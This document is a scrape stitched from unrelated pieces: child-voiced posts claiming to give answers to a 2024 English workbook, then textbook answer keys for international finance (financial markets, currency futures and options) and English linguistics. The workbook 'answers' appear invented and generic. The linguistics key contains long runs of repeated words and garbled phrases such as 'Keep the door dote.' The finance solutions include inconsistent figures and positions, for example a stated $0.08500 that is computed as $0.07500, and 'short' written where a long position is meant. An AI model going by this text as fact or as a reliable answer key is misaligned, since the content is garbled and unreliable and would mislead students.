them because they were easy tounderstand and it helped me remember the words better. Plus, the pictures in the workbook were so colorful and fun to look at!One of the things I liked the most about the workbook was the stories and conversations in it. They were really interesting and helped me improve my reading and listening skills. I even tried to read them out loud to practice my pronunciation.The workbook also had a lot of grammar exercises, which I found super helpful. I learned about different tenses, sentence structures, and even some new vocabulary words. It was like having a mini English class at home!I also liked the review sections at the end of each unit. It helped me remember what I had learned and made sure I didn't forget anything. I felt so proud of myself when I got all the answers right!Overall, the "Master A Plan" English training workbook was a great help for me. It made learning English fun and easy. I would definitely recommend it to all my friends who want to improve their English skills. Thanks to this workbook, I feel more confident speaking and writing in English now.Well, that's all for now. I can't wait to start the next unit in the workbook and learn even more cool stuff! Bye for now!篇4Hi everyone! Today I'm going to share with you the answers to the A Program Enforced Training Workbook for 2024. This workbook is super important because it helps us practice and improve our English skills. Let's get started with the answers:1. Multiple Choice:1. B2. A3. C4. B5. A2. Fill in the Blanks:1. elephant2. sunny3. delicious4. shopping5. swimming3. True or False:1. True2. False3. True4. False5. True4. Matching:1. A - 32. B - 53. C - 24. D - 15. E - 45. Short Answer:1. My favorite color is blue.2. I like to play soccer with my friends.3. My birthday is on March 15th.4. I have two brothers and one sister.5. I want to be a doctor when I grow up.Remember, it's important to practice your English every day to get better. Keep working hard and you'll improve in no time! Good luck with your studies and have fun learning English!Bye-bye!篇5Hi guys! Today I'm going to share with you the answers to the Name Master A Plan reinforcement training book for English in 2024. This book is super useful for us to practice our English skills and become even better at it. So let's dive right in and get started!Chapter 1 - Reading Comprehension1. B2. A3. C4. B5. AChapter 2 - Vocabulary1. Exciting2. Delicious3. Courageous4. Adventure5. MysteriousChapter 3 - Grammar1. They are going to the park tomorrow.2. She has already finished her homework.3. He is playing soccer with his friends.4. We will visit the museum next week.5. I have never been to Paris before.Chapter 4 - Writing1. My Favorite Pet- My favorite pet is a dog. His name is Max and he is very friendly. I love playing with him in the park.2. A Trip to the Beach- Last summer, my family and I went to the beach. We had a great time swimming and building sandcastles.3. My Dream Job- When I grow up, I want to be a teacher. I love helping others learn new things.I hope these answers help you with your studies. Keep practicing and you will become an English master in no time. Good luck!篇6Hey guys, I'm here to give you the answers to the Name Teacher A Plan Intensive Training Workbook for 2024! Let's dive right in and make sure we ace this together.1. Fill in the blanks:a) The capital of France is Paris.b) A triangle has three sides.c) Water boils at 100 degrees Celsius.d) The largest planet in our solar system is Jupiter.e) Shakespeare was a famous playwright.2. True or False:a) Trueb) Falsec) Trued) Truee) False3. Multiple Choice:a) Bb) Ac) Cd) De) A4. Matching:1. B2. A3. D4. C5. E5. Short Answer:a) An adjective describes a noun.b) A verb shows action or a state of being.c) A conjunction connects words or groups of words.d) An adverb modifies a verb, adjective, or other adverb.e) A preposition shows the relationship between a noun and another word.Congratulations on finishing the Name Teacher A Plan Intensive Training Workbook for 2024! Keep up the good work and keep practicing your English skills. You got this!篇7Oh! Hi there! I'm gonna tell you about the answers to the Name Teacher A Plan Reinforcement Training Book English 2024. It's like super important for us students to get all the answers right so we can learn better, right?So, in the Name Teacher A Plan book, there are lots of exercises to do. But don't worry, I got all the answers for you! First, in the Grammar section, the answer to question 1 is "is" and question 2 is "have". Remember to always check your grammar rules before answering!Next, in the Vocabulary section, the answer to question 3 is "elephant" and question 4 is "bicycle". Make sure to review your vocabulary words so you can easily spot the right answers!And lastly, in the Reading Comprehension section, the answer to question 5 is "Johnny wants to be a doctor" and question 6 is "Sally likes to play soccer". Reading carefully and understanding the passages will help you find the correct answers!Remember, practice makes perfect! Keep studying hard and reviewing your lessons so you can ace all your exams. Good luck, my fellow students! Let's go and conquer those answers together! Peace out!篇8Oh my goodness! I just finished the 【a2024】and it was super hard! But guess what? I totally aced it because I had all the answers right here!Question 1: What is the capital of France?Answer: Paris!Question 2: Who wrote Romeo and Juliet?Answer: William Shakespeare!Question 3: How do you say "hello" in Spanish?Answer: Hola!Question 4: What is the largest mammal in the world?Answer: Blue whale!Question 5: What is the opposite of hot?Answer: Cold!I feel like a superstar getting all these answers correct! I love the 【a2024】because it helps me learn and practice my English skills. I can't wait to show my teacher how awesome I am at English now!I know I still have a lot to learn, but with the help of the【a2024】, I know I can do it. English is such a cool language and I'm so glad I have resources like this to help me improve.Thanks, 【a2024】for making learning English fun and exciting! I can't wait to see what other challenges and answers you have for me in the future. Bring it on!篇9Hey guys, guess what? I just finished the 【A】English workbook for 2024 and I'm here to share all the answers with you!It was super challenging but I managed to ace it with the help of my amazing study buddies. So grab a snack, get comfy, and let's dive into it together!Section 1: Vocabulary1. A2. B3. C4. D5. B6. A7. C8. DSection 2: Grammar1. is2. have3. are4. was5. will6. can7. should8. wouldSection 3: Reading Comprehension1. False2. True3. True4. False5. TrueSection 4: Writing(Paragraph 1) My favorite hobby is playing soccer. I love running around the field and scoring goals with my teammates. It's so much fun and it keeps me active and healthy.(Paragraph 2) Last weekend, I played in a big tournament with my soccer team. We worked together and gave it our all, and we ended up winning the championship! I was so proud of us and it was an amazing feeling.So there you have it, the complete answers to the 2024【A】English workbook. I hope this helps you all out with your studies. Keep working hard and never give up!Good luck, everyone!篇10Hey guys, do you want to know the answers to the Namei A Plan Reinforcement Training Manual 2024? Well, you're in luck because I've got all the answers right here for you!Let's start with Unit 1: My Family1. Who is the oldest person in your family? - My grandma is the oldest person in my family.2. How many siblings do you have? - I have two siblings, a brother and a sister.3. What is your dad's job? - My dad is a teacher at a school.4. Where does your mom work? - My mom works at a hospital as a nurse.Now, let's move on to Unit 2: My School1. What time does school start? - School starts at 8:00 AM.2. Who is your favorite teacher? - My favorite teacher is Mr. Smith, he teaches English.3. What is your favorite subject? - My favorite subject is Math.4. What activities do you do at recess? - I like to play soccer with my friends during recess.And finally, Unit 3: My Hobbies1. What do you like to do in your free time? - I like to read books and play video games in my free time.2. Do you play any sports? - Yes, I play basketball with my friends every weekend.3. What is your favorite movie? - My favorite movie is The Lion King.4. Do you have any pets? - Yes, I have a cat named Whiskers.I hope these answers help you with your Namei A Plan Reinforcement Training! Keep studying hard and you'll do great!。
国际财务管理英文版第版马杜拉答案Chapter
Chapter 3International Financial Markets Lecture OutlineMotives for Using International Financial Markets Motives for Investing in Foreign MarketsMotives for Providing Credit in Foreign MarketsMotives for Borrowing in Foreign MarketsForeign Exchange MarketHistory of Foreign ExchangeForeign Exchange TransactionsExchange QuotationsForeignInterpretingCurrency Futures and Options MarketsInternational Money MarketOrigins and DevelopmentStandardizing Global Bank RegulationsInternational Credit MarketSyndicated LoansInternational Bond MarketEurobond MarketDevelopment of Other Bond MarketsComparing Interest Rates Among CurrenciesInternational Stock MarketsIssuance of Foreign Stock in the U.S.Issuance of Stock in Foreign MarketsComparison of International Financial MarketsHow Financial Markets Affect an MNC’s ValueChapter ThemeThis chapter identifies and discusses the various international financial markets used by MNCs. These markets facilitate day-to-day operations of MNCs, including foreign exchange transactions, investing in foreign markets, and borrowing in foreign markets.Topics to Stimulate Class Discussion1. Why do international financial markets exist?2. How do banks serve international financial markets?3. Which international financial markets are most important to a firm that consistently needsshort-term funds? What about a firm that needs long-term funds?Critical debateShould firms that go public engage in international offerings?Proposition Yes. When a firm issues shares to the public for the first time in an initial public offering (IPO), it is naturally concerned about whether it can place all of its shares at a reasonable price. It will be able to issue its shares at a higher price by attracting more investors. It will increase its demand by spreading the shares across countries. The higher the price at which it can issue shares, the lower is its cost of using equity capital. It can also establish a global name by spreading shares across countries.Opposing view No. If a firm spreads its shares across different countries at the time of the IPO, there will be less publicly traded shares in the home country. Thus, it will not have as much liquidity in the secondary market. Investors desire shares that they can easily sell in the secondary market, which means that they require that the shares have liquidity. To the extent that a firm reduces its liquidity in the home country by spreading its share across countries, it may not attract sufficient home demand for the shares. Thus, its efforts to create global name recognition may reduce its name recognition in the home country.With whom do you agree? State your reasons. Use InfoTrac or some other search engine to learn more about this issue. Which argument do you support? Offer your own opinion on this issue.ANSWER: The key is that students recognize the tradeoff involved. A firm that engages in a relatively small IPO will have limited liquidity even when all of the stock is issued in the home country. Thus, it should not consider issuing stock internationally. However, firms with larger stock offerings may be in a position to issue a portion of their shares outside the home country. They should not spread the stocks across several countries, but perhaps should target one or two countries where they conduct substantial business. They want to ensure sufficient liquidity in each of the foreign countries where they sell shares.Stock Markets are inefficientPropositionI cannot believe that if the value of the euro in terms of, say, the British pound increases three days in a row, on the fourth day there is still a 50:50 chance that it will go up or down in value. I think that most investors will see a trend and will buy, therefore the price is morelikely to go up. Also, if the forward market predicts a rise in value, on average, surely it is going to rise in value. In other words, currency prices are predictable. And finally, if it were so unpredictable and therefore unprofitable to the speculator, how is it that there is such a vast sum of money being traded every day for speculative purposes – there is no smoke without fire.The simple answer is that if that is what you believe, buy currencies that have viewOpposingincreased three days in a row and on average you should make a profit, buy currencies where the forward market shows an increase in value. The fact is that there are a lot of investors with just your sort of views. The market traders know all about such beliefs and will price the currency so that such easy profit (their loss) cannot be made. Look at past currency rates for yourself, check all fourth day changes after three days of rises, any difference is going to be not enough to cover transaction costs or trading expenses and the slight inaccuracy in your figures which are likely to be closing day mid point of the bid/ask spread. No, all currency movements are related to information and no-one knows if tomorrows news will be better or worse than expected.With whom do you agree? Could there be undiscovered patterns? Could some movements not be related to information? Could some private news be leaking out?ANSWER: Clearly there are no obvious patterns. Discussion on the impossibility of obvious patterns is worth emphasizing. However, does market inefficiency necessarily involve patterns, could market manipulation be occasional. There is worrying evidence from share price movements that there is unusual movement before announcements on many occasions, so the ideathat traders do not occasionally collude and move the price without supporting economic evidence is not an unreasonable view. Proof is however difficult as we have to separate anticipation from prior knowledge, the lucky speculator from the speculator who was in the know.Answers to End of Chapter Questions1. Motives for Investing in Foreign Money Markets. Explain why an MNC may invest fundsin a financial market outside its own country.ANSWER: The MNC may be able to earn a higher interest rate on funds invested in a financial market outside of its own country. In addition, the exchange rate of the currency involved may be expected to appreciate.2. Motives for Providing Credit in Foreign Markets. Explain why some financial institutionsprefer to provide credit in financial markets outside their own country.ANSWER: Financial institutions may believe that they can earn a higher return by providing credit in foreign financial markets if interest rate levels are higher and if the economic conditions are strong so that the risk of default on credit provided is low. The institutions may also want to diversity their credit so that they are not too exposed to the economic conditions in any single country.3. Exchange Rate Effects on Investing. Explain how the appreciation of the Australian dollaragainst the euro would affect the return to a French firm that invested in an Australian money market security.ANSWER: If the Australian dollar appreciates over the investment period, this implies that the French firm purchased the Australian dollars to make its investment at a lower exchange rate than the rate at which it will convert A$ to euros when the investment period is over.Thus, it benefits from the appreciation. Its return will be higher as a result of this appreciation.4. Exchange Rate Effects on Borrowing. Explain how the appreciation of the Japanese yenagainst the UK pound would affect the return to a UK firm that borrowed Japanese yen and used the proceeds for a UK project.ANSWER: If the Japanese yen appreciates over the borrowing period, this implies that the UK firm converted yen to pounds at a lower exchange rate than the rate at which it paid for yen at the time it would repay the loan. Thus, it is adversely affected by the appreciation. Its cost of borrowing will be higher as a result of this appreciation.5. Bank Services. List some of the important characteristics of bank foreign exchange servicesthat MNCs should consider.ANSWER: The important characteristics are (1) competitiveness of the quote, (2) the firm’s relationship with the bank, (3) speed of execution, (4) advice about current market conditions, and (5) forecasting advice.6. Bid/ask Spread. Delay Bank’s bid price for US dollars is £0.53 and its ask price is £0.55.What is the bid/ask percentage spread?ANSWER: (£0.55– £0.53)/£0.55 = .036 or 3.6%7. Bid/ask Spread. Compute the bid/ask percentage spread for Mexican peso in which the askrate is 20.6 New peso to the dollar and the bid rate is 21.5 New peso to the dollar.ANSWER: direct rates are 1/20.6 = $0.485:1 peso as the ask rate and 1/21.5 = $0.465:1 peso as the bid rate so the spread is[($0.485 – $0.465)/$0.485] = .041, or 4.1%. Note that the spread is fro the Mexiccan peso not the dollar.8. Forward Contract. The Wolfpack ltd is a UK exporter that invoices its exports to the UnitedStates in dollars. If it expects that the dollar will appreciate against the pound in the future, should it hedge its exports with a forward contract? Explain..ANSWER: The forward contract can hedge future receivables or payables in foreign currencies to insulate the firm against exchange rate risk. Yet, in this case, the Wolfpack Corporation should not hedge because it would benefit from appreciation of the dollar when it converts the dollars to pounds.9. Euro. Explain the foreign exchange situation for countries that use the euro when theyengage in international trade among themselves.ANSWER: There is no foreign exchange. Euros are used as the medium of exchange.10. Indirect Exchange Rate. If the direct exchange rate of the euro is worth £0.685, what is theindirect rate of the euro? That is, what is the value of a pound in euros?ANSWER: 1/0.685 = 1.46 euros.11. Cross Exchange Rate. Assume Poland’s currency (the zloty) is worth £0.17 and theJapanese yen is worth £0.005. What is the cross (implied) rate of the zloty with respect to yen?ANSWER: £0.17/£0.005 = 34 zloty:1 yen12. Syndicated Loans. Explain how syndicated loans are used in international markets.ANSWER: A large MNC may want to obtain a large loan that no single bank wants to accommodate by itself. Thus, a bank may create a syndicate whereby several other banks also participate in the loan.13. Loan Rates. Explain the process used by banks in the Eurocredit market to determine the rateto charge on loans.ANSWER: Banks set the loan rate based on the prevailing LIBOR, and allow the loan rate to float (change every 6 months) in accordance with changes in LIBOR.14. International Markets. What is the function of the international money market? Brieflydescribe the reasons for the development and growth of the European money market. Explain how the international money, credit, and bond markets differ from one another.ANSWER: The function of the international money market is to efficiently facilitate the flow of international funds from firms or governments with excess funds to those in need of funds.Growth of the European money market was largely due to (1) regulations in the U.S. that limited foreign lending by U.S. banks; and (2) regulated ceilings placed on interest rates of dollar deposits in the U.S. that encouraged deposits to be placed in the Eurocurrency market where ceilings were nonexistent.The international money market focuses on short-term deposits and loans, while the international credit market is used to tap medium-term loans, and the international bond market is used to obtain long-term funds (by issuing long-term bonds).15. Evolution of Floating Rates. Briefly describe the historical developments that led to floatingexchange rates as of 1973.ANSWER: Country governments had difficulty in maintaining fixed exchange rates. In 1971, the bands were widened. Yet, the difficulty of controlling exchange rates even within these wider bands continued. As of 1973, the bands were eliminated so that rates could respond to market forces without limits (although governments still did intervene periodically).16. International Diversification. Explain how the Asian crisis would have affected the returnsto a UK. firm investing in the Asian stock markets as a means of international diversification.[See the chapter appendix.]ANSWER: The returns to the UK firm would have been reduced substantially as a result of the Asian crisis because of both declines in the Asian stock markets and because of currency depreciation. For example, the Indonesian stock market declined by about 27% from June 1997 to June 1998. Furthermore, the Indonesian rupiah declined against the U.S. dollar by 84%.17.Eurocredit Loans.a.With regard to Eurocredit loans, who are the borrowers?b. Why would a bank desire to participate in syndicated Eurocredit loans?c. What is LIBOR and how is it used in the Eurocredit market?ANSWER:a. Large corporations and some government agencies commonly request Eurocredit loans.b. With a Eurocredit loan, no single bank would be totally exposed to the risk that theborrower may fail to repay the loan. The risk is spread among all lending banks within the syndicate.c. LIBOR (London interbank offer rate) is the rate of interest at which banks in Europe lendto each other. It is used as a base from which loan rates on other loans are determined in the Eurocredit market.18. Foreign Exchange. You just came back from Canada, where the Canadian dollar was worth£0.43. You still have C$200 from your trip and could exchange them for pounds at the airport, but the airport foreign exchange desk will only buy them for £0.40. Next week, you will be going to Mexico and will need pesos. The airport foreign exchange desk will sell you pesos for £0.055 per peso. You met a tourist at the airport who is from Mexico and is on his way to Canada. He is willing to buy your C$200 for 1500 New Pesos. Should you accept the offer or cash the Canadian dollars in at the airport? Explain.ANSWER: Exchange with the tourist. If you exchange the C$ for pesos at the foreign exchange desk, the C$200 is multiplied by £0.40 and then divided by £0.055 ie a ratio of £0.40/0.055 = 7.27 pesos to the C$. The total pesos would be 200 x 7.27 = 1454 pesos, a little less than is being offered by the tourist.19. Foreign Stock Markets. Explain why firms may issue stock in foreign markets. Why mightMNCs issue more stock in Europe since the conversion to a single currency in 1999?ANSWER: Firms may issue stock in foreign markets when they are concerned that their home market may be unable to absorb the entire issue. In addition, these firms may have foreign currency inflows in the foreign country that can be used to pay dividends on foreign-issued stock. They may also desire to enhance their global image. Since the euro can be used in several countries, firms may need a large amount of euros if they are expanding across Europe.20. Stock Market Integration. Bullet plc a UK firm, is planning to issue new shares on theLondon Stock Exchange this month. The only decision still to be made is the specific day on which the shares will be issued. Why do you think Bullet monitors results of the Tokyo stock market every morning?ANSWER: The UK stock market prices sometimes follow Japanese market prices. Thus, the firm would possibly be able to issue its stock at a higher price in the UK if it can use the Japanese market as an indicator of what will happen in the UK market. However, this indicator will not always be accurate.Advanced Questions21. Effects of September 11. Why do you think the terrorist attack on the U.S. was expected tocause a decline in U.S. interest rates? Given the expectations for a potential decline in U.S.interest rates and stock prices, how were capital flows between the U.S. and other countries likely affected?ANSWER: The attack was expected to cause a weaker economy, which would result in lower U.S. interest rates. Given the lower interest rates, and the weak stock prices, the amount of funds invested by foreign investors in U.S. securities would be reduced.22. International Financial Markets. Carrefour the French Supermarket chain has established retail outlets worldwide. These outlets are massive and contain products purchased locally as well as imports. As Carrefour generates earnings beyond what it needs abroad, it may remit those earnings back to France. Carrefour is likely to build additional outlets especially in China.a. Explain how the Carrefour outlets in China would use the spot market in foreign exchange.ANSWER:The Carrefour stores in China need other currencies to buy products from other countries, and must convert the Chinese currency (yuan) into the other currencies in the spot market to purchase these products. They also could use the spot market to convert excess earnings denominated in yuan into euros, which would be remitted to the French parent.b. Explain how Carrefour might utilize the international money markets when it isestablishing other Carrefour stores in Asia.ANSWER: Carrefour may need to maintain some deposits in the Eurocurrency market that can be used (when needed) to support the growth of Carrefour stores in various foreign markets. When some Carrefour stores in foreign markets need funds, they borrow from banks in the Eurocurrency market. Thus, the Eurocurrency market serves as a deposit or lending source for Carrefour and other MNCs on a short-term basis. (Eurocurrency refers to international currencies, most likely the dollar, not just the euro!)c. Explain how Carrefour could use the international bond market to finance theestablishment of new outlets in foreign markets.ANSWER: Carrefour could issue bonds in the Eurobond market to generate funds needed to establish new outlets. The bonds may be denominated in the currency that is needed; then, once the stores are established, some of the cash flows generated by those stores could be used to pay interest on the bonds.23.Interest Rates. Why do interest rates vary among countries? Why are interest rates normallysimilar for those European countries that use the euro as their currency? Offer a reason why the government interest rate of one country could be slightly higher than that of the government interest rate of another country, even though the euro is the currency used in both countries.ANSWER: Interest rates in each country are based on the supply of funds and demand for funds for a given currency. However, the supply and demand conditions for the euro are dictated by all participating countries in aggregate, and do not vary among participating countries. Yet, the government interest rate in one country that uses the euro could be slightly higher than others that use the euro if it is subject to default risk. The higher interest rate would reflect a risk premium.Blades plc Case Study。
《新编简明英语语言学教程》第二版课后习题答案chapter7
Chapter 7 Language Change1. The vocabulary of English consists of native and also thousands of borrowed words. Look up the following words in a dictionary which provides the etymologies (history) of words. In each case speculate as to how the particular word came to be borrowed from a particular language. a. size b. skill c. royal d. ranch e. robot f. potato g. astronaut h. emerald i. pagoda j. khaki k. bulldoze 1. hoodlum 答：a. size (< old French) b. skill (< old Norse) c. royal (< old French < Latin) d. ranch (< Spanish < French) e. robot (< Czech < old Church Slavonic) f. potato (< Spanish < Taino) g. astronaut (< French) h. emerald (< Middle English & old French) i. pagoda (< Persian < Sanskrit) j. khaki (< Hindi <Persian) k. bulldoze (< bull(Botany Bay Slang) < old English) l. hoodlum (< German) 2. The Encyclopedia Britannica Yearbook has usually published a new word list, which is, in the Britannica’s Britannica’s editor's editor's editor's view, view, view, a a a list list list of of of those those those words words words that that that had had had entered entered entered the the the language language language during during during the the the year. year. Would you expect a yearbook to publish a “lost -word list” rec o rding the words dropped from the ording the words dropped from the language during the year? Defend your answer. 答：(略) 3. Below is a passage from Shakespeare's Hamlet, King: Where is Pelonius? Hamlet: In heaven, send thither to see. If your messenger find him not there, seek him i' the other place yourself. But indeed, if you find him not within this month, you shall nose him as you go up the stairs into the lobby. Act IV , scene iii Study Study these these these lines lines lines and and and identify identify identify every every every difference difference difference in in in expression expression expression between between between Elizabethan Elizabethan Elizabethan and and Modern English that is evident. 答：In modern English, these lines are more likely written as: King: Where is Pelonius? Hamlet: In heaven, send to see there. If your messenger cannot find him there, yourself seek him at the other place. But indeed, if you cannot find him within this month, you shall notice him as you go up the stairs into the lobby. 4. Comment with examples on the following statement “Words and expressions will be forced into use in spite of all the exertions of all the writers in the world.”答：答： The statement means that when necessary, people will make use of available uses even if there there is is is no no no writers' writers' writers' efforts. efforts. efforts. For For For example, example, example, there there there are are are more more more and and and more more more new new new words words words and and and expressions expressions which which are are are introduced introduced introduced into into into language language language not not not by by by writers, writers, writers, e.g., e.g., e.g., email, email, email, hacker, hacker, hacker, IBM IBM IBM (international (international (international big big mouth, means a person who acts like a gossip.) 5. Suppose you are outside a government office where doors still bear the notice, “This door must not be left in an open position.” Now try to explain the notice in simple and plain English.答：答： “Keep the door dote. ” or “The door must be kept close.”6. Give at least two examples showing the influence of American English on British English. 答：(略) 7. Find in any books, newspapers, or journals newly coined words in association with social and political needs, internet or computer language. 答：答： For example: SARS, Golden week, euro, e-mail, bi-media(双媒体的), cybernaut 计算机(网络)漫游者, DVD, eyephone(视像耳机), etc ．8. With examples, give some plausible explanations for linguistic change. 答：(略) 。
国际财务管理课后习题答案chapter 7doc资料
CHAPTER 7 FUTURES AND OPTIONS ON FOREIGN EXCHANGESUGGESTED ANSWERS AND SOLUTIONS TO END-OF-CHAPTERQUESTIONS AND PROBLEMSQUESTIONS1. Explain the basic differences between the operation of a currency forward market and a futures market.Answer: The forward market is an OTC market where the forward contract for purchase or sale of foreign currency is tailor-made between the client and its international bank. No money changes hands until the maturity date of the contract when delivery and receipt are typically made. A futures contract is an exchange-traded instrument with standardized features specifying contract size and delivery date. Futures contracts are marked-to-market daily to reflect changes in the settlement price. Delivery is seldom made in a futures market. Rather a reversing trade is made to close out a long or short position.2. In order for a derivatives market to function most efficiently, two types of economic agents are needed: hedgers and speculators. Explain.Answer: Two types of market participants are necessary for the efficient operation of a derivatives market: speculators and hedgers. A speculator attempts to profit from a change in the futures price. To do this, the speculator will take a long or short position in a futures contract depending upon his expectations of future price movement. A hedger, on-the-other-hand, desires to avoid price variation by locking in a purchase price of the underlying asset through a long position in a futures contract or a sales price through a short position. In effect, the hedger passes off the risk of price variation to the speculator who is better able, or at least more willing, to bear this risk.3. Why are most futures positions closed out through a reversing trade rather than held to delivery?Answer: In forward markets, approximately 90 percent of all contracts that are initially established result in the short making delivery to the long of the asset underlying the contract. This is natural because the terms of forward contracts are tailor-made between the long and short. By contrast, only about one percent of currency futures contracts result in delivery. While futures contracts are useful for speculation and hedging, their standardized delivery dates make them unlikely to correspond to the actual future dates when foreign exchange transactions will occur. Thus, they are generally closed out in a reversing trade. In fact, the commission thatbuyers and sellers pay to transact in the futures market is a single amount that covers the round-trip transactions of initiating and closing out the position.4. How can the FX futures market be used for price discovery?Answer: To the extent that FX forward prices are an unbiased predictor of future spot exchange rates, the market anticipates whether one currency will appreciate or depreciate versus another. Because FX futures contracts trade in an expiration cycle, different contracts expire at different periodic dates into the future. The pattern of the prices of these cont racts provides information as to the market’s current belief about the relative future value of one currency versus another at the scheduled expiration dates of the contracts. One will generally see a steadily appreciating or depreciating pattern; however, it may be mixed at times. Thus, the futures market is useful for price discovery, i.e., obtaining the market’s forecast of the spot exchange rate at different future dates.5. What is the major difference in the obligation of one with a long position in a futures (or forward) contract in comparison to an options contract?Answer: A futures (or forward) contract is a vehicle for buying or selling a stated amount of foreign exchange at a stated price per unit at a specified time in the future. If the long holds the contract to the delivery date, he pays the effective contractual futures (or forward) price, regardless of whether it is an advantageous price in comparison to the spot price at the delivery date. By contrast, an option is a contract giving the long the right to buy or sell a given quantity of an asset at a specified price at some time in the future, but not enforcing any obligation on him if the spot price is more favorable than the exercise price. Because the option owner does not have to exercise the option if it is to his disadvantage, the option has a price, or premium, whereas no price is paid at inception to enter into a futures (or forward) contract.6. What is meant by the terminology that an option is in-, at-, or out-of-the-money?Answer: A call (put) option with S t > E (E > S t) is referred to as trading in-the-money. If S t E the option is trading at-the-money. If S t< E (E < S t) the call (put) option is trading out-of-the-money.7. List the arguments (variables) of which an FX call or put option model price is a function. How does the call and put premium change with respect to a change in the arguments?Answer: Both call and put options are functions of only six variables: S t, E, r i, r$, T andσ. When all else remains the same, the price of a European FX call (put) option will increase:1. the larger (smaller) is S,2. the smaller (larger) is E,3. the smaller (larger) is r i,4. the larger (smaller) is r$,5. the larger (smaller) r$ is relative to r i, and6. the greater is σ.When r$ and r i are not too much different in size, a European FX call and put will increase in price when the option term-to-maturity increases. However, when r$ is very much larger than r i, a European FX call will increase in price, but the put premium will decrease, when the option term-to-maturity increases. The opposite is true when r i is very much greater than r$. For American FX options the analysis is less complicated. Since a longer term American option can be exercised on any date that a shorter term option can be exercised, or a some later date, it follows that the all else remaining the same, the longer term American option will sell at a price at least as large as the shorter term option.PROBLEMS1. Assume today’s settlement price on a CME EUR futures contract is $1.3140/EUR. You have a short position in one contract. Your performance bond account currently has a balance of $1,700. The next three day s’ settlement prices are $1.3126, $1.3133, and $1.3049. Calculate the changes in the performance bond account from daily marking-to-market and the balance of the performance bond account after the third day.Solution: $1,700 + [($1.3140 - $1.3126) + ($1.3126 - $1.3133)+ ($1.3133 - $1.3049)] x EUR125,000 = $2,837.50,where EUR125,000 is the contractual size of one EUR contract.2. Do problem 1 again assuming you have a long position in the futures contract.Solution: $1,700 + [($1.3126 - $1.3140) + ($1.3133 - $1.3126) + ($1.3049 - $1.3133)] x EUR125,000 = $562.50,where EUR125,000 is the contractual size of one EUR contract.With only $562.50 in your performance bond account, you would experience a margin call requesting that additional funds be added to your performance bond account to bring the balance back up to the initial performance bond level.3. Using the quotations in Exhibit 7.3, calculate the face value of the open interest in the June 2005 Swiss franc futures contract.Solution: 2,101 contracts x SF125,000 = SF262,625,000.where SF125,000 is the contractual size of one SF contract.4. Using the quotations in Exhibit 7.3, note that the June 2005 Mexican peso futures contract has a price of $0.08845. You believe the spot price in June will be $0.09500. What speculative position would you enter into to attempt to profit from your beliefs? Calculate your anticipated profits, assuming you take a position in three contracts. What is the size of your profit (loss) if the futures price is indeed an unbiased predictor of the future spot price and this price materializes?Solution: If you expect the Mexican peso to rise from $0.08845 to $0.09500, you would take a long position in futures since the futures price of $0.08845 is less than your expected spot price.Your anticipated profit from a long position in three contracts is: 3 x ($0.09500 - $0.08845) x MP500,000 = $9,825.00, where MP500,000 is the contractual size of one MP contract.If the futures price is an unbiased predictor of the expected spot price, the expected spot price is the futures price of $0.08845/MP. If this spot price materializes, you will not have any profits or losses from your short position in three futures contracts: 3 x ($0.08845 - $0.08845) x MP500,000 = 0.5. Do problem 4 again assuming you believe the June 2005 spot price will be $0.08500.Solution: If you expect the Mexican peso to depreciate from $0.08845 to $0.07500, you would take a short position in futures since the futures price of $0.08845 is greater than your expected spot price.Your anticipated profit from a short position in three contracts is: 3 x ($0.08845 - $0.07500) x MP500,000 = $20,175.00.If the futures price is an unbiased predictor of the future spot price and this price materializes, you will not profit or lose from your long futures position.6. George Johnson is considering a possible six-month $100 million LIBOR-based, floating-rate bank loan to fund a project at terms shown in the table below. Johnson fears a possible rise in the LIBOR rate by December and wants to use the December Eurodollar futures contract to hedge this risk. The contract expires December 20, 1999, has a US$ 1 million contract size, and a discount yield of7.3 percent.Johnson will ignore the cash flow implications of marking to market, initial margin requirements, and any timing mismatch between exchange-traded futures contract cash flows and the interest payments due in March.Loan TermsSeptember 20, 1999 December 20, 1999 March 20, 2000 • Borrow $100 million at • Pay interest for first three • Pay back principal September 20 LIBOR + 200 months plus interestbasis points (bps) • Roll loan over at• September 20 LIBOR = 7% December 20 LIBOR +200 bpsLoan First loan payment (9%) Second paymentinitiated and futures contract expires and principal↓↓↓•••9/20/99 12/20/99 3/20/00a. Formulate Johnson’s September 20 floating-to-fixed-rate strategy using the Eurodollar future contracts discussed in the text above. Show that this strategy would result in a fixed-rate loan, assuming an increase in the LIBOR rate to 7.8 percent by December 20, which remains at 7.8 percent through March 20. Show all calculations.Johnson is considering a 12-month loan as an alternative. This approach will result in two additional uncertain cash flows, as follows:Loan First Second Third Fourth payment initiated payment (9%) payment payment and principal ↓↓↓↓↓•••••9/20/99 12/20/99 3/20/00 6/20/00 9/20/00 b. Describe the strip hedge that Johnson could use and explain how it hedges the 12-month loan (specify number of contracts). No calculations are needed.CFA Guideline Answera. The basis point value (BPV) of a Eurodollar futures contract can be found by substituting the contract specifications into the following money market relationship:BPV FUT = Change in Value = (face value) x (days to maturity / 360) x (change in yield)= ($1 million) x (90 / 360) x (.0001)= $25The number of contract, N, can be found by:N = (BPV spot) / (BPV futures)= ($2,500) / ($25)= 100ORN = (value of spot position) / (face value of each futures contract)= ($100 million) / ($1 million)= 100ORN = (value of spot position) / (value of futures position)= ($100,000,000) / ($981,750)where value of futures position = $1,000,000 x [1 – (0.073 / 4)]102 contractsTherefore on September 20, Johnson would sell 100 (or 102) December Eurodollar futures contracts at the 7.3 percent yield. The implied LIBOR rate in December is 7.3 percent as indicated by the December Eurofutures discount yield of 7.3 percent. Thus a borrowing rate of 9.3 percent (7.3 percent + 200 basis points) can be locked in if the hedge is correctly implemented.A rise in the rate to 7.8 percent represents a 50 basis point (bp) increase over the implied LIBOR rate. For a 50 basis point increase in LIBOR, the cash flow on the short futures position is:= ($25 per basis point per contract) x 50 bp x 100 contracts= $125,000.However, the cash flow on the floating rate liability is:= -0.098 x ($100,000,000 / 4)= - $2,450,000.Combining the cash flow from the hedge with the cash flow from the loan results in a net outflow of $2,325,000, which translates into an annual rate of 9.3 percent:= ($2,325,000 x 4) / $100,000,000 = 0.093This is precisely the implied borrowing rate that Johnson locked in on September 20. Regardless of the LIBOR rate on December 20, the net cash outflow will be $2,325,000, which translates into an annualized rate of 9.3 percent. Consequently, the floating rate liability has been converted to a fixed rate liability in the sense that the interest rate uncertainty associated with the March 20 payment (using the December 20 contract) has been removed as of September 20.b. In a strip hedge, Johnson would sell 100 December futures (for the March payment), 100 March futures (for the June payment), and 100 June futures (for the September payment). The objective is to hedge each interest rate payment separately using the appropriate number of contracts. The problem is the same as in Part A except here three cash flows are subject to rising rates and a strip of futures is used to hedge this interest rate risk. This problem is simplified somewhat because the cash 